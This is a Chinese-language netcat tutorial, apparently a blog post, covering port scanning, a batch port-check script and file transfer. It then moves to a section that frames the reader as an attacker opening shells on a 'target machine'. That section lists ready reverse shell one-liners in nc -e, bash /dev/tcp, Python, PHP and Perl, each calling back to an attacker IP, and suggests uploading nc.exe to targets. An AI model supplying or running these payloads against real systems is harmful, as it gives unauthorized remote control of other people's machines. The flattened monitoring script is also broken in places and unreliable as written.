Netcat工具使用指南

1.nc命令简介

        nc命令来自于英文词组“Net Cat”的缩写,其功能是用于扫描与连接指定端口。nc命令是一个功能丰富的网络实用工具,被誉为网络界的瑞士军刀,短小精干,功能实用。它能够基于命令行在网络上读取和写入数据,连接与扫描指定端口号,支持TCP和UDP协议,为用户提供无限潜在用途。

  主要用于扫描与监测指定端口

2.nc命令语法格式

nc [参数] 域名/IP地址 [端口]

3.nc命令常用参数

-l 使用监听模式,管控传入的资料 
-p 设置本地主机使用的通信端口 
-s 设置本地主机送出数据包的IP地址 
-u 使用UDP传输协议 
-v 显示指令执行过程,v越多越详细 
-w 设置等待连线的时间 
-z 使用0输入/输出模式,只在扫描通信端口时使用 
-n 不使用dns反向查询ip地址域名 
-t 使nc在接受连接后进入Telnet模式。在这个模式下,nc将接收远程命令行的输入并将输出返回给远程端 
-e 当连接建立时,在远程端执行。例如:-e /bin/bash,即启动一个交互式的 Bash shell

4.参考实例

4.1nc扫描(为重点解析)

扫描指定目标IP和端口(默认TCP)

nc -nvv 172.16.11.210 8080 #扫描指定目标ip和端口 
nc -nvv 127.0.0.1 8080 #扫描本地8080端口 
nc -v -z -w2 172.16.11.210 8080 #扫描指定目标IP和端口且输出详细信息

扫描指定主机的1-100端口,指定为UDP协议,扫描等待连线时间为2秒

#扫描成功与不成功都不会输出,可使用echo $?判断是否成功 
nc -u -z -w2 172.16.11.210 1-100

扫描指定主机的8088端口,并显示执行过程,扫描等待连线时间为2秒

#加上-v扫描成功与不成功都会输出 
nc -v -z -w2 172.16.11.210 8088

扫描指定主机的1到65535的端口范围,只输出打开的端口(去掉-v参数即可)

nc -z -w2 172.16.11.210 1-65535

批量检测服务器指定端口开放情况

1、假如我们要监控一堆指定的IP和端口,可新建一个文件(第1列服务器IP,第2列要监控的端口)。

        要注意:写ip和端口的文件中不能有注释不能有空行,只能是ip 端口;如果后面跟注释,会是失败,空行也会读取为失败

[root@localhost xxxxx]# cat ip-ports.txt 
172.16.11.210 80 
172.16.11.210 6379 
172.16.11.210 18000 
172.16.11.211 3306 
172.16.11.212 27017 
172.16.11.209 8099 
172.16.11.210 8088

2、使用脚本监测判断服务端口是否开放,成功会返回0值显示ok,失败会返回1值显示fail。借用上面一步的文件,文件内容是自己要监控的ip地址端口。

[root@localhost xxxxx]# cat nc-ports.sh 
#/bin/bash cat /data/ncport/ip-ports.txt | while read line;donc -w 10 -z $line > /dev/null 2>&1if [ $? -eq 0 ];then echo $line:ok else echo $line:fail fi done

3、执行脚本查看运行结果如下

[root@localhost xxxxx]# sh nc-ports.sh 
172.16.11.210 80:fail 
172.16.11.210 6379:fail 
172.16.11.210 18000:fail 
172.16.11.211 3306:fail 
172.16.11.212 27017:fail 
172.16.11.209 8099:fail 
172.16.11.210 8088:ok

4.2nc监听

1.相互通信

server: nc -l -p 4444 
client: nc 192.168.8.109 4444

-l参数使用监听模式,管控传入的资料。

注:如果目标主机上没有nc,可以尝试上传nc.exe或者安装nc

2.文件传输

server: nc -l -p 5555 < aa.txt 
client: nc -n 192.168.21.133 > aa.txt

注:<是传输,>是接收。

3.目录传输

文件可以发送,但是目录也同样可以传输,利用管道传输起来。

Linux与Linux:

server:tar -czvf- faith/ | nc -l 5555 
client:nc -n 192.168.21.133 5555 | tar -zxvf-

Linux与Windows:

4.建立Shell

在攻击方上监听连接

nc -lvp <监听端口>

  例如:"nc -lvp 4444",这将在 Kali Linux 上监听 4444 端口。

在目标主机上发起连接请求

1.Linux
nc -e /bin/bash <kali的IP> <kali监听端口> 
或者 
bash -i >& /dev/tcp/<kali的IP>/<kali监听端口> 0>&1 
bash -i >& /dev/tcp/10.7.20.244/4444 0>&1

这将在目标 Linux 主机上执行 "/bin/bash",并将其输出传递到 Kali Linux 上的监听端口。

注:Linux连接Windows时,可能存在错误,可以尝试添加-n参数,例如:

nc -n -e /bin/bash <kali的IP> <kali监听端口>

2.Windows
nc -e cmd.exe <kali的IP> <kali监听端口> 
cmd.exe | nc <kali的IP> <kali监听端口>

注:如果目标主机上没有nc,可以尝试上传nc.exe或者安装nc

5.nc不存在的代替方案

5.1Bash反弹Shell

vps攻击机:nc -lvp 6666 
靶机:bash -I >& /dev/tcp/192.168.32.1/6666 0>&1

5.2Python反弹shell

vps攻击机:nc -lvp 4444 
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.101",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

5.3PHP反向Shell

vps攻击机:nc -lvp 4444 
靶机:php -r '$sock=fsockopen("192.168.8.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

5.4Perl反弹shell

Vps攻击机:nc -lvp 4444 
靶机:perl -e 'use Socket; $i="192.168.8.101";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'=

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值